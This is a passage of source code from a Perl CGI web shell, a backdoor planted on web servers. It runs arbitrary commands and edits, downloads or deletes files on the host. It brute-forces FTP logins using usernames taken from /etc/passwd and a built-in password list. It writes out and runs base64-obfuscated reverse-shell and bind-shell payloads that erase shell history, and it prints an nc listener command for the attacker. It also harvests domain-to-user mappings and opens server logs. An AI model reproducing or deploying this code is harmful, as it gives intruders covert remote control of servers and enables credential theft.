782 | $result .= "Failed: $!<br>"; | |
783 | } | |
784 | } | |
785 | $result .= &PrintCommandLineInputForm; | |
786 | return $result; | |
787 | } | |
788 | ||
789 | #------------------------------------------------------------------------------ | |
790 | # This function is called when the user wants to download a file. If the | |
791 | # filename is not specified, it displays a form allowing the user to specify a | |
792 | # file, otherwise it displays a message to the user and provides a link | |
793 | # through which the file can be downloaded. | |
794 | #------------------------------------------------------------------------------ | |
795 | sub DownloadFile | |
796 | { | |
797 | # if no file is specified, print the download form again | |
798 | if($TransferFile eq "") | |
799 | { | |
800 | &PrintPageHeader("f"); | |
801 | return &PrintFileDownloadForm; | |
802 | } | |
803 | ||
804 | # get fully qualified path of the file to be downloaded | |
805 | if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) | (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute | |
806 | { | |
807 | $TargetFile = $TransferFile; | |
808 | } | |
809 | else # path is relative | |
810 | { | |
811 | chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/; | |
812 | $TargetFile .= $PathSep.$TransferFile; | |
813 | } | |
814 | ||
815 | if($Options eq "go") # we have to send the file | |
816 | { | |
817 | return &SendFileToBrowser($TargetFile); | |
818 | } | |
819 | else # we have to send only the link page | |
820 | { | |
821 | return &PrintDownloadLinkPage($TargetFile); | |
822 | } | |
823 | } | |
824 | ||
825 | ||
826 | #------------------------------------------------------------------------------ | |
827 | # This function is called to execute commands. It displays the output of the | |
828 | # command and allows the user to enter another command. The change directory | |
829 | # command is handled differently. In this case, the new directory is stored in | |
830 | # an internal variable and is used each time a command has to be executed. The | |
831 | # output of the change directory command is not displayed to the users | |
832 | # therefore error messages cannot be displayed. | |
833 | #------------------------------------------------------------------------------ | |
834 | sub ExecuteCommand | |
835 | { | |
836 | my $result=""; | |
837 | if($RunCommand =~ m/^\s*cd\s+(.+)/) # it is a change dir command | |
838 | { | |
839 | # we change the directory internally. The output of the | |
840 | # command is not displayed. | |
841 | $Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd; | |
842 | chop($CurrentDir = `$Command`); | |
843 | $result .= &PrintCommandLineInputForm; | |
844 | ||
845 | $result .= "Command: <run>$RunCommand </run><br><textarea cols='$cols' rows='$rows' spellcheck='false'>"; | |
846 | # xuat thong tin khi chuyen den 1 thu muc nao do! | |
847 | $RunCommand= $WinNT?"dir":"dir -lia"; | |
848 | $result .= &RunCmd; | |
849 | }elsif($RunCommand =~ m/^\s*edit\s+(.+)/) | |
850 | { | |
851 | $result .= &SaveFileForm; | |
852 | }else | |
853 | { | |
854 | $result .= &PrintCommandLineInputForm; | |
855 | $result .= "Command: <run>$RunCommand</run><br><textarea id='data' cols='$cols' rows='$rows' spellcheck='false'>"; | |
856 | $result .=&RunCmd; | |
857 | } | |
858 | $result .= "</textarea>"; | |
859 | return $result; | |
860 | } | |
861 | ||
862 | #------------------------------------------------------------------------ | |
863 | # run command | |
864 | #------------------------------------------------------------------------ | |
865 | ||
866 | sub RunCmd | |
867 | { | |
868 | my $result=""; | |
869 | $Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector; | |
870 | if(!$WinNT) | |
871 | { | |
872 | $SIG{'ALRM'} = \&CommandTimeout; | |
873 | alarm($CommandTimeoutDuration); | |
874 | } | |
875 | if($ShowDynamicOutput) # show output as it is generated | |
876 | { | |
877 | $|=1; | |
878 | $Command .= " |"; | |
879 | open(CommandOutput, $Command); | |
880 | while(<CommandOutput>) | |
881 | { | |
882 | $_ =~ s/(\n|\r\n)$//; | |
883 | $result .= &HtmlSpecialChars("$_\n"); | |
884 | } | |
885 | $|=0; | |
886 | } | |
887 | else # show output after command completes | |
888 | { | |
889 | $result .= &HtmlSpecialChars('$Command'); | |
890 | } | |
891 | if(!$WinNT) | |
892 | { | |
893 | alarm(0); | |
894 | } | |
895 | return $result; | |
896 | } | |
897 | #============================================================================== | |
898 | # Form Save File | |
899 | #============================================================================== | |
900 | sub SaveFileForm | |
901 | { | |
902 | my $result =""; | |
903 | substr($RunCommand,0,5)=""; | |
904 | my $file=&trim($RunCommand); | |
905 | $save='<br><input name="a" type="submit" value="save" class="submit" >'; | |
906 | $File=$CurrentDir.$PathSep.$RunCommand; | |
907 | my $dir="<span style='font: 11pt Verdana; font-weight: bold;'>".&AddLinkDir("gui")."</span>"; | |
908 | if(-w $File) | |
909 | { | |
910 | $rows="23" | |
911 | }else | |
912 | { | |
913 | $msg="<br><font style='font: 15pt Verdana; color: yellow;' > Permission denied!<font><br>"; | |
914 | $rows="20" | |
915 | } | |
916 | $Prompt = $WinNT ? "$dir > " : "<font color='#FFFFFF'>[admin\@$ServerName $dir]\$</font> "; | |
917 | $read=($WinNT)?"type":"less"; | |
918 | $RunCommand = "$read \"$RunCommand\""; | |
919 | $result .= <<END; | |
920 | <form name="f" method="POST" action="$ScriptLocation"> | |
921 | ||
922 | <input type="hidden" name="d" value="$CurrentDir"> | |
923 | $Prompt | |
924 | <input type="text" size="40" name="c"> | |
925 | <input name="s" class="submit" type="submit" value="Enter"> | |
926 | <br>Command: <run> $RunCommand </run> | |
927 | <input type="hidden" name="file" value="$file" > $save <br> $msg | |
928 | <br><textarea id="data" name="data" cols="$cols" rows="$rows" spellcheck="false"> | |
929 | END | |
930 | ||
931 | $result .= &RunCmd; | |
932 | $result .= "</textarea>"; | |
933 | $result .= "</form>"; | |
934 | return $result; | |
935 | } | |
936 | #============================================================================== | |
937 | # Save File | |
938 | #============================================================================== | |
939 | sub SaveFile($) | |
940 | { | |
941 | my $Data= shift ; | |
942 | my $File= shift; | |
943 | $File=$CurrentDir.$PathSep.$File; | |
944 | if(open(FILE, ">$File")) | |
945 | { | |
946 | binmode FILE; | |
947 | print FILE $Data; | |
948 | close FILE; | |
949 | return 1; | |
950 | }else | |
951 | { | |
952 | return 0; | |
953 | } | |
954 | } | |
955 | #------------------------------------------------------------------------------ | |
956 | # Brute Forcer Form | |
957 | #------------------------------------------------------------------------------ | |
958 | sub BruteForcerForm | |
959 | { | |
960 | my $result=""; | |
961 | $result .= <<END; | |
962 | ||
963 | <table> | |
964 | ||
965 | <tr> | |
966 | <td colspan="2" align="center"> | |
967 | ####################################<br> | |
968 | Simple FTP brute forcer<br> | |
969 | #################################### | |
970 | <form name="f" method="POST" action="$ScriptLocation"> | |
971 | ||
972 | <input type="hidden" name="a" value="bruteforcer"/> | |
973 | </td> | |
974 | </tr> | |
975 | <tr> | |
976 | <td>User:<br><textarea rows="18" cols="30" name="user"> | |
977 | END | |
978 | chop($result .= `less /etc/passwd | cut -d: -f1`); | |
979 | $result .= <<'END'; | |
980 | </textarea></td> | |
981 | <td> | |
982 | ||
983 | Pass:<br> | |
984 | <textarea rows="18" cols="30" name="pass">123pass | |
985 | 123!@# | |
986 | 123admin | |
987 | 123abc | |
988 | 123456admin | |
989 | 1234554321 | |
990 | 12344321 | |
991 | pass123 | |
992 | admin | |
993 | admincp | |
994 | administrator | |
995 | matkhau | |
996 | passadmin | |
997 | p@ssword | |
998 | p@ssw0rd | |
999 | password | |
1000 | 123456 | |
1001 | 1234567 | |
1002 | 12345678 | |
1003 | 123456789 | |
1004 | 1234567890 | |
1005 | 111111 | |
1006 | 000000 | |
1007 | 222222 | |
1008 | 333333 | |
1009 | 444444 | |
1010 | 555555 | |
1011 | 666666 | |
1012 | 777777 | |
1013 | 888888 | |
1014 | 999999 | |
1015 | 123123 | |
1016 | 234234 | |
1017 | 345345 | |
1018 | 456456 | |
1019 | 567567 | |
1020 | 678678 | |
1021 | 789789 | |
1022 | 123321 | |
1023 | 456654 | |
1024 | 654321 | |
1025 | 7654321 | |
1026 | 87654321 | |
1027 | 987654321 | |
1028 | 0987654321 | |
1029 | admin123 | |
1030 | admin123456 | |
1031 | abcdef | |
1032 | abcabc | |
1033 | !@#!@# | |
1034 | !@#$%^ | |
1035 | !@#$%^&*( | |
1036 | !@#$$#@! | |
1037 | abc123 | |
1038 | anhyeuem | |
1039 | iloveyou</textarea> | |
1040 | </td> | |
1041 | </tr> | |
1042 | <tr> | |
1043 | <td colspan="2" align="center"> | |
1044 | Sleep:<select name="sleep"> | |
1045 | ||
1046 | <option>0</option> | |
1047 | <option>1</option> | |
1048 | <option>2</option> | |
1049 | ||
1050 | <option>3</option> | |
1051 | </select> | |
1052 | <input type="submit" class="submit" value="Brute Forcer"/></td></tr> | |
1053 | </form> | |
1054 | </table> | |
1055 | END | |
1056 | return $result; | |
1057 | } | |
1058 | #------------------------------------------------------------------------------ | |
1059 | # Brute Forcer | |
1060 | #------------------------------------------------------------------------------ | |
1061 | sub BruteForcer | |
1062 | { | |
1063 | my $result=""; | |
1064 | $Server=$ENV{'SERVER_ADDR'}; | |
1065 | if($in{'user'} eq "") | |
1066 | { | |
1067 | $result .= &BruteForcerForm; | |
1068 | }else | |
1069 | { | |
1070 | use Net::FTP; | |
1071 | @user= split(/\n/, $in{'user'}); | |
1072 | @pass= split(/\n/, $in{'pass'}); | |
1073 | chomp(@user); | |
1074 | chomp(@pass); | |
1075 | $result .= "<br><br>[+] Trying brute $ServerName<br>====================>>>>>>>>>>>><<<<<<<<<<====================<br><br>\n"; | |
1076 | foreach $username (@user) | |
1077 | { | |
1078 | if(!($username eq "")) | |
1079 | { | |
1080 | foreach $password (@pass) | |
1081 | { | |
1082 | $ftp = Net::FTP->new($Server) or die "Could not connect to $ServerName\n"; | |
1083 | if($ftp->login("$username","$password")) | |
1084 | { | |
1085 | $result .= "<a target='_blank' href='ftp://$username:$password\@$Server'>[+] ftp://$username:$password\@$Server</a><br>\n"; | |
1086 | $ftp->quit(); | |
1087 | break; | |
1088 | } | |
1089 | if(!($in{'sleep'} eq "0")) | |
1090 | { | |
1091 | sleep(int($in{'sleep'})); | |
1092 | } | |
1093 | $ftp->quit(); | |
1094 | } | |
1095 | } | |
1096 | } | |
1097 | $result .= "\n<br>==========>>>>>>>>>> Finished <<<<<<<<<<==========<br>\n"; | |
1098 | } | |
1099 | return $result; | |
1100 | } | |
1101 | #------------------------------------------------------------------------------ | |
1102 | # Backconnect Form | |
1103 | #------------------------------------------------------------------------------ | |
1104 | sub BackBindForm | |
1105 | { | |
1106 | return <<END; | |
1107 | <br><br> | |
1108 | ||
1109 | <table> | |
1110 | <tr> | |
1111 | <form name="f" method="POST" action="$ScriptLocation"> | |
1112 | <td>BackConnect: <input type="hidden" name="a" value="backbind"></td> | |
1113 | <td> Host: <input type="text" size="20" name="clientaddr" value="$ENV{'REMOTE_ADDR'}"> | |
1114 | Port: <input type="text" size="7" name="clientport" value="80" onkeyup="document.getElementById('ba').innerHTML=this.value;"></td> | |
1115 | ||
1116 | <td><input name="s" class="submit" type="submit" name="submit" value="Connect"></td> | |
1117 | </form> | |
1118 | </tr> | |
1119 | <tr> | |
1120 | <td colspan=3><font color=#FFFFFF>[+] Client listen before connect back! | |
1121 | <br>[+] Try check your Port with <a target="_blank" href="http://www.canyouseeme.org/">http://www.canyouseeme.org/</a> | |
1122 | <br>[+] Client listen with command: <run>nc -vv -l -p <span id="ba">80</span></run></font></td> | |
1123 | ||
1124 | </tr> | |
1125 | </table> | |
1126 | ||
1127 | <br><br> | |
1128 | <table> | |
1129 | <tr> | |
1130 | <form method="POST" action="$ScriptLocation"> | |
1131 | <td>Bind Port: <input type="hidden" name="a" value="backbind"></td> | |
1132 | ||
1133 | <td> Port: <input type="text" size="15" name="clientport" value="1412" onkeyup="document.getElementById('bi').innerHTML=this.value;"> | |
1134 | ||
1135 | Password: <input type="text" size="15" name="bindpass" value="THIEUGIABUON"></td> | |
1136 | <td><input name="s" class="submit" type="submit" name="submit" value="Bind"></td> | |
1137 | </form> | |
1138 | </tr> | |
1139 | <tr> | |
1140 | <td colspan=3><font color=#FFFFFF>[+] Chuc nang chua dc test! | |
1141 | <br>[+] Try command: <run>nc $ENV{'SERVER_ADDR'} <span id="bi">1412</span></run></font></td> | |
1142 | ||
1143 | </tr> | |
1144 | </table><br> | |
1145 | END | |
1146 | } | |
1147 | #------------------------------------------------------------------------------ | |
1148 | # Backconnect use perl | |
1149 | #------------------------------------------------------------------------------ | |
1150 | sub BackBind | |
1151 | { | |
1152 | use MIME::Base64; | |
1153 | use Socket; | |
1154 | $backperl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCiRTaGVsbAk9ICIvYmluL2Jhc2giOw0KJEFSR0M9QEFSR1Y7DQp1c2UgU29ja2V0Ow0KdXNlIEZpbGVIYW5kbGU7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoInRjcCIpKSBvciBkaWUgcHJpbnQgIlstXSBVbmFibGUgdG8gUmVzb2x2ZSBIb3N0XG4iOw0KY29ubmVjdChTT0NLRVQsIHNvY2thZGRyX2luKCRBUkdWWzFdLCBpbmV0X2F0b24oJEFSR1ZbMF0pKSkgb3IgZGllIHByaW50ICJbLV0gVW5hYmxlIHRvIENvbm5lY3QgSG9zdFxuIjsNCnByaW50ICJDb25uZWN0ZWQhIjsNClNPQ0tFVC0+YXV0b2ZsdXNoKCk7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsIj4mU09DS0VUIik7DQpwcmludCAiLS09PSBDb25uZWN0ZWQgQmFja2Rvb3IgPT0tLSAgXG5cbiI7DQpzeXN0ZW0oInVuc2V0IEhJU1RGSUxFOyB1bnNldCBTQVZFSElTVCA7ZWNobyAnWytdIFN5c3RlbWluZm86ICc7IHVuYW1lIC1hO2VjaG87ZWNobyAnWytdIFVzZXJpbmZvOiAnOyBpZDtlY2hvO2VjaG8gJ1srXSBEaXJlY3Rvcnk6ICc7IHB3ZDtlY2hvOyBlY2hvICdbK10gU2hlbGw6ICc7JFNoZWxsIik7DQpjbG9zZSBTT0NLRVQ7"; | |
1155 | $bindperl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJEFSR0M9QEFSR1Y7DQokcG9ydAk9ICRBUkdWWzBdOw0KJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0KJFNoZWxsCT0gIi9iaW4vYmFzaCI7DQpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKW9yIGRpZSAic29ja2V0OiQhIjsNCnNldHNvY2tvcHQoU0VSVkVSLCBTT0xfU09DS0VULCBTT19SRVVTRUFERFIsIHBhY2soImwiLCAxKSlvciBkaWUgInNldHNvY2tvcHQ6ICQhIjsNCmJpbmQoU0VSVkVSLCBzb2NrYWRkcl9pbigkcG9ydCwgSU5BRERSX0FOWSkpb3IgZGllICJiaW5kOiAkISI7DQpsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pCQlvciBkaWUgImxpc3RlbjogJCEiOw0KZm9yKDsgJHBhZGRyID0gYWNjZXB0KENMSUVOVCwgU0VSVkVSKTsgY2xvc2UgQ0xJRU5UKQ0Kew0KCW9wZW4oU1RESU4sICI+JkNMSUVOVCIpOw0KCW9wZW4oU1RET1VULCAiPiZDTElFTlQiKTsNCglvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7DQoJc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gJ1srXSBTeXN0ZW1pbmZvOiAnOyB1bmFtZSAtYTtlY2hvO2VjaG8gJ1srXSBVc2VyaW5mbzogJzsgaWQ7ZWNobztlY2hvICdbK10gRGlyZWN0b3J5OiAnOyBwd2Q7ZWNobzsgZWNobyAnWytdIFNoZWxsOiAnOyRTaGVsbCIpOw0KCWNsb3NlKFNURElOKTsNCgljbG9zZShTVERPVVQpOw0KCWNsb3NlKFNUREVSUik7DQp9DQo="; | |
1156 | ||
1157 | $ClientAddr = $in{'clientaddr'}; | |
1158 | $ClientPort = int($in{'clientport'}); | |
1159 | if($ClientPort eq 0) | |
1160 | { | |
1161 | return &BackBindForm; | |
1162 | }elsif(!$ClientAddr eq "") | |
1163 | { | |
1164 | $Data=decode_base64($backperl); | |
1165 | if(-w "/tmp/") | |
1166 | { | |
1167 | $File="/tmp/backconnect.pl"; | |
1168 | }else | |
1169 | { | |
1170 | $File=$CurrentDir.$PathSep."backconnect.pl"; | |
1171 | } | |
1172 | open(FILE, ">$File"); | |
1173 | print FILE $Data; | |
1174 | close FILE; | |
1175 | system("perl backconnect.pl $ClientAddr $ClientPort"); | |
1176 | unlink($File); | |
1177 | exit 0; | |
1178 | }else | |
1179 | { | |
1180 | $Data=decode_base64($bindperl); | |
1181 | if(-w "/tmp") | |
1182 | { | |
1183 | $File="/tmp/bindport.pl"; | |
1184 | }else | |
1185 | { | |
1186 | $File=$CurrentDir.$PathSep."bindport.pl"; | |
1187 | } | |
1188 | open(FILE, ">$File"); | |
1189 | print FILE $Data; | |
1190 | close FILE; | |
1191 | system("perl bindport.pl $ClientPort"); | |
1192 | unlink($File); | |
1193 | exit 0; | |
1194 | } | |
1195 | } | |
1196 | #------------------------------------------------------------------------------ | |
1197 | # Array List Directory | |
1198 | #------------------------------------------------------------------------------ | |
1199 | sub RmDir($) | |
1200 | { | |
1201 | my $dir = shift; | |
1202 | if(opendir(DIR,$dir)) | |
1203 | { | |
1204 | while($file = readdir(DIR)) | |
1205 | { | |
1206 | if(($file ne ".") && ($file ne "..")) | |
1207 | { | |
1208 | $file= $dir.$PathSep.$file; | |
1209 | if(-d $file) | |
1210 | { | |
1211 | &RmDir($file); | |
1212 | } | |
1213 | else | |
1214 | { | |
1215 | unlink($file); | |
1216 | } | |
1217 | } | |
1218 | } | |
1219 | closedir(DIR); | |
1220 | } | |
1221 | if(!rmdir($dir)) | |
1222 | { | |
1223 | ||
1224 | } | |
1225 | } | |
1226 | sub FileOwner($) | |
1227 | { | |
1228 | my $file = shift; | |
1229 | if(-e $file) | |
1230 | { | |
1231 | ($uid,$gid) = (stat($file))[4,5]; | |
1232 | if($WinNT) | |
1233 | { | |
1234 | return "???"; | |
1235 | } | |
1236 | else | |
1237 | { | |
1238 | $name=getpwuid($uid); | |
1239 | $group=getgrgid($gid); | |
1240 | return $name."/".$group; | |
1241 | } | |
1242 | } | |
1243 | return "???"; | |
1244 | } | |
1245 | sub ParentFolder($) | |
1246 | { | |
1247 | my $path = shift; | |
1248 | my $Comm = "cd \"$CurrentDir\"".$CmdSep."cd ..".$CmdSep.$CmdPwd; | |
1249 | chop($path = `$Comm`); | |
1250 | return $path; | |
1251 | } | |
1252 | sub FilePerms($) | |
1253 | { | |
1254 | my $file = shift; | |
1255 | my $ur = "-"; | |
1256 | my $uw = "-"; | |
1257 | if(-e $file) | |
1258 | { | |
1259 | if($WinNT) | |
1260 | { | |
1261 | if(-r $file){ $ur = "r"; } | |
1262 | if(-w $file){ $uw = "w"; } | |
1263 | return $ur . " / " . $uw; | |
1264 | }else | |
1265 | { | |
1266 | $mode=(stat($file))[2]; | |
1267 | $result = sprintf("%04o", $mode & 07777); | |
1268 | return $result; | |
1269 | } | |
1270 | } | |
1271 | return "0000"; | |
1272 | } | |
1273 | sub FileLastModified($) | |
1274 | { | |
1275 | my $file = shift; | |
1276 | if(-e $file) | |
1277 | { | |
1278 | ($la) = (stat($file))[9]; | |
1279 | ($d,$m,$y,$h,$i) = (localtime($la))[3,4,5,2,1]; | |
1280 | $y = $y + 1900; | |
1281 | @month = qw/1 2 3 4 5 6 7 8 9 10 11 12/; | |
1282 | $lmtime = sprintf("%02d/%s/%4d %02d:%02d",$d,$month[$m],$y,$h,$i); | |
1283 | return $lmtime; | |
1284 | } | |
1285 | return "???"; | |
1286 | } | |
1287 | sub FileSize($) | |
1288 | { | |
1289 | my $file = shift; | |
1290 | if(-f $file) | |
1291 | { | |
1292 | return -s $file; | |
1293 | } | |
1294 | return "0"; | |
1295 | ||
1296 | } | |
1297 | sub ParseFileSize($) | |
1298 | { | |
1299 | my $size = shift; | |
1300 | if($size <= 1024) | |
1301 | { | |
1302 | return $size. " B"; | |
1303 | } | |
1304 | else | |
1305 | { | |
1306 | if($size <= 1024*1024) | |
1307 | { | |
1308 | $size = sprintf("%.02f",$size / 1024); | |
1309 | return $size." KB"; | |
1310 | } | |
1311 | else | |
1312 | { | |
1313 | $size = sprintf("%.2f",$size / 1024 / 1024); | |
1314 | return $size." MB"; | |
1315 | } | |
1316 | } | |
1317 | } | |
1318 | sub trim($) | |
1319 | { | |
1320 | my $string = shift; | |
1321 | $string =~ s/^\s+//; | |
1322 | $string =~ s/\s+$//; | |
1323 | return $string; | |
1324 | } | |
1325 | sub AddSlashes($) | |
1326 | { | |
1327 | my $string = shift; | |
1328 | $string=~ s/\\/\\\\/g; | |
1329 | return $string; | |
1330 | } | |
1331 | sub ListDir | |
1332 | { | |
1333 | my $path = $CurrentDir.$PathSep; | |
1334 | $path=~ s/\\\\/\\/g; | |
1335 | my $result = "<form name='f' action='$ScriptLocation'><span style='font: 11pt Verdana; font-weight: bold;'>Path: [ ".&AddLinkDir("gui")." ] </span><input type='text' name='d' size='40' value='$CurrentDir' /><input type='hidden' name='a' value='gui'><input class='submit' type='submit' value='Change'></form>"; | |
1336 | if(-d $path) | |
1337 | { | |
1338 | my @fname = (); | |
1339 | my @dname = (); | |
1340 | if(opendir(DIR,$path)) | |
1341 | { | |
1342 | while($file = readdir(DIR)) | |
1343 | { | |
1344 | $f=$path.$file; | |
1345 | if(-d $f) | |
1346 | { | |
1347 | push(@dname,$file); | |
1348 | } | |
1349 | else | |
1350 | { | |
1351 | push(@fname,$file); | |
1352 | } | |
1353 | } | |
1354 | closedir(DIR); | |
1355 | } | |
1356 | @fname = sort { lc($a) cmp lc($b) } @fname; | |
1357 | @dname = sort { lc($a) cmp lc($b) } @dname; | |
1358 | $result .= "<div><table width='90%' class='listdir'> | |
1359 | ||
1360 | <tr style='background-color: #3e3e3e'><th>File Name</th> | |
1361 | <th style='width:100px;'>File Size</th> | |
1362 | <th style='width:150px;'>Owner</th> | |
1363 | <th style='width:100px;'>Permission</th> | |
1364 | <th style='width:150px;'>Last Modified</th> | |
1365 | <th style='width:260px;'>Action</th></tr>"; | |
1366 | my $style="line"; | |
1367 | my $i=0; | |
1368 | foreach my $d (@dname) | |
1369 | { | |
1370 | $style= ($style eq "line") ? "notline": "line"; | |
1371 | $d = &trim($d); | |
1372 | $dirname=$d; | |
1373 | if($d eq "..") | |
1374 | { | |
1375 | $d = &ParentFolder($path); | |
1376 | } | |
1377 | elsif($d eq ".") | |
1378 | { | |
1379 | $d = $path; | |
1380 | } | |
1381 | else | |
1382 | { | |
1383 | $d = $path.$d; | |
1384 | } | |
1385 | $result .= "<tr class='$style'> | |
1386 | ||
1387 | <td id='File_$i' style='font: 11pt Verdana; font-weight: bold;'><a href='?a=gui&d=".$d."'>[ ".$dirname." ]</a></td>"; | |
1388 | $result .= "<td>DIR</td>"; | |
1389 | $result .= "<td style='text-align:center;'>".&FileOwner($d)."</td>"; | |
1390 | $result .= "<td id='FilePerms_$i' style='text-align:center;' ondblclick=\"rm_chmod_form(this,".$i.",'".&FilePerms($d)."','".$dirname."')\" ><span onclick=\"chmod_form(".$i.",'".$dirname."')\" >".&FilePerms($d)."</span></td>"; | |
1391 | $result .= "<td style='text-align:center;'>".&FileLastModified($d)."</td>"; | |
1392 | $result .= "<td style='text-align:center;'><a href='javascript:return false;' onclick=\"rename_form($i,'$dirname','".&AddSlashes(&AddSlashes($d))."')\">Rename</a> | <a onclick=\"if(!confirm('Remove dir: $dirname ?')) { return false;}\" href='?a=gui&d=$path&remove=$dirname'>Remove</a></td>"; | |
1393 | $result .= "</tr>"; | |
1394 | $i++; | |
1395 | } | |
1396 | foreach my $f (@fname) | |
1397 | { | |
1398 | $style= ($style eq "line") ? "notline": "line"; | |
1399 | $file=$f; | |
1400 | $f = $path.$f; | |
1401 | $view = "?dir=".$path."&view=".$f; | |
1402 | $result .= "<tr class='$style'><td id='File_$i' style='font: 11pt Verdana;'><a href='?a=command&d=".$path."&c=edit%20".$file."'>".$file."</a></td>"; | |
1403 | $result .= "<td>".&ParseFileSize(&FileSize($f))."</td>"; | |
1404 | $result .= "<td style='text-align:center;'>".&FileOwner($f)."</td>"; | |
1405 | $result .= "<td id='FilePerms_$i' style='text-align:center;' ondblclick=\"rm_chmod_form(this,".$i.",'".&FilePerms($f)."','".$file."')\" ><span onclick=\"chmod_form($i,'$file')\" >".&FilePerms($f)."</span></td>"; | |
1406 | $result .= "<td style='text-align:center;'>".&FileLastModified($f)."</td>"; | |
1407 | $result .= "<td style='text-align:center;'><a href='?a=command&d=".$path."&c=edit%20".$file."'>Edit</a> | <a href='javascript:return false;' onclick=\"rename_form($i,'$file','f')\">Rename</a> | <a href='?a=download&o=go&f=".$f."'>Download</a> | <a onclick=\"if(!confirm('Remove file: $file ?')) { return false;}\" href='?a=gui&d=$path&remove=$file'>Remove</a></td>"; | |
1408 | $result .= "</tr>"; | |
1409 | $i++; | |
1410 | } | |
1411 | $result .= "</table></div>"; | |
1412 | } | |
1413 | return $result; | |
1414 | } | |
1415 | #------------------------------------------------------------------------------ | |
1416 | # Try to View List User | |
1417 | #------------------------------------------------------------------------------ | |
1418 | sub ViewDomainUser | |
1419 | { | |
1420 | open (domains, '/etc/named.conf') or $err=1; | |
1421 | my @cnzs = <domains>; | |
1422 | close d0mains; | |
1423 | my $style="line"; | |
1424 | my $result="<h5><font style='font: 15pt Verdana;color: #ff9900;'>Hoang Sa - Truong Sa</font></h5>"; | |
1425 | if ($err) | |
1426 | { | |
1427 | $result .= ('<p>C0uldn\'t Bypass it , Sorry</p>'); | |
1428 | return $result; | |
1429 | }else | |
1430 | { | |
1431 | $result .= '<table><tr><th>Domains</th> <th>User</th></tr>'; | |
1432 | } | |
1433 | foreach my $one (@cnzs) | |
1434 | { | |
1435 | if($one =~ m/.*?zone "(.*?)" {/) | |
1436 | { | |
1437 | $style= ($style eq "line") ? "notline": "line"; | |
1438 | $filename= "/etc/valiases/".$one; | |
1439 | $owner = getpwuid((stat($filename))[4]); | |
1440 | $result .= '<tr class="$style" width=50%><td>'.$one.' </td><td> '.$owner.'</td></tr>'; | |
1441 | } | |
1442 | } | |
1443 | $result .= '</table>'; | |
1444 | return $result; | |
1445 | } | |
1446 | #------------------------------------------------------------------------------ | |
1447 | # View Log | |
1448 | #------------------------------------------------------------------------------ | |
1449 | sub ViewLog | |
1450 | { | |
1451 | if($WinNT) | |
1452 | { | |
1453 | return "<h2><font style='font: 20pt Verdana;color: #ff9900;'>Don't run on Windows</font></h2>"; | |
1454 | } | |
1455 | my $result="<table><tr><th>Path Log</th><th>Submit</th></tr>"; | |
1456 | my @pathlog=( | |
1457 | '/usr/local/apache/logs/error_log', | |
1458 | '/var/log/httpd/error_log', | |
1459 | '/usr/local/apache/logs/access_log' | |
1460 | ); | |
1461 | my $i=0; | |
1462 | my $perms; | |
1463 | my $sl; | |
1464 | foreach my $log (@pathlog) | |
1465 | { | |
1466 | if(-w $log) | |
1467 | { | |
1468 | $perms="OK"; | |
1469 | }else | |
1470 | { | |
1471 | chop($sl = `ln -s $log error_log_$i`); | |
1472 | if(&trim($ls) eq "") | |
1473 | { | |
1474 | if(-r $ls) | |
1475 | { | |
1476 | $perms="OK"; | |
1477 | $log="error_log_".$i; | |
1478 | } | |
1479 | }else | |
1480 | { | |
1481 | $perms="<font style='color: red;'>Cancel<font>"; | |
1482 | } | |
1483 | } | |
1484 | $result .=<<END; | |
1485 | <tr> | |
1486 | ||
1487 | <form action="" method="post"> | |
1488 | <td><input type="text" onkeyup="document.getElementById('log_$i').value='less ' + this.value;" value="$log" size='50'/></td> | |
1489 | <td><input class="submit" type="submit" value="Try" /></td> | |
1490 | <input type="hidden" id="log_$i" name="c" value="less $log"/> | |
1491 | <input type="hidden" name="a" value="command" /> | |
1492 | <input type="hidden" name="d" value="$CurrentDir" /> | |
1493 | </form> | |
1494 | <td>$perms</td> | |
1495 | ||
1496 | </tr> | |
1497 | END | |
1498 | $i++; | |
1499 | } | |
1500 | $result .="</table>"; | |
1501 | return $result; | |
1502 | } | |
1503 | #------------------------------------------------------------------------------ | |
1504 | # Main Program - Execution Starts Here | |
1505 | #------------------------------------------------------------------------------ | |
1506 | &ReadParse; | |
1507 | &GetCookies; | |
1508 | ||
1509 | $ScriptLocation = $ENV{'SCRIPT_NAME'}; | |
1510 | $ServerName = $ENV{'SERVER_NAME'}; | |
1511 | $LoginPassword = $in{'p'}; | |
1512 | $RunCommand = $in{'c'}; | |
1513 | $TransferFile = $in{'f'}; | |
1514 | $Options = $in{'o'}; | |
1515 | $Action = $in{'a'}; | |
1516 | ||
1517 | $Action = "command" if($Action eq ""); # no action specified, use default | |
1518 | ||
1519 | # get the directory in which the commands will be executed | |
1520 | $CurrentDir = &trim($in{'d'}); | |
1521 | # mac dinh xuat thong tin neu ko co lenh nao! | |
1522 | $RunCommand= $WinNT?"dir":"dir -lia" if($RunCommand eq ""); | |
1523 | chop($CurrentDir = `$CmdPwd`) if($CurrentDir eq ""); | |
1524 | ||
1525 | $LoggedIn = $Cookies{'SAVEDPWD'} eq $Password; | |
1526 | ||
1527 | if($Action eq "login" || !$LoggedIn) # user needs/has to login | |
1528 | { | |
1529 | &PerformLogin; | |
1530 | }elsif($Action eq "gui") # GUI directory | |
1531 | { | |
1532 | &PrintPageHeader; | |
1533 | if(!$WinNT) | |
1534 | { | |
1535 | $chmod=int($in{'chmod'}); | |
1536 | if(!($chmod eq 0)) | |
1537 | { | |
1538 | $chmod=int($in{'chmod'}); | |
1539 | $file=$CurrentDir.$PathSep.$TransferFile; | |
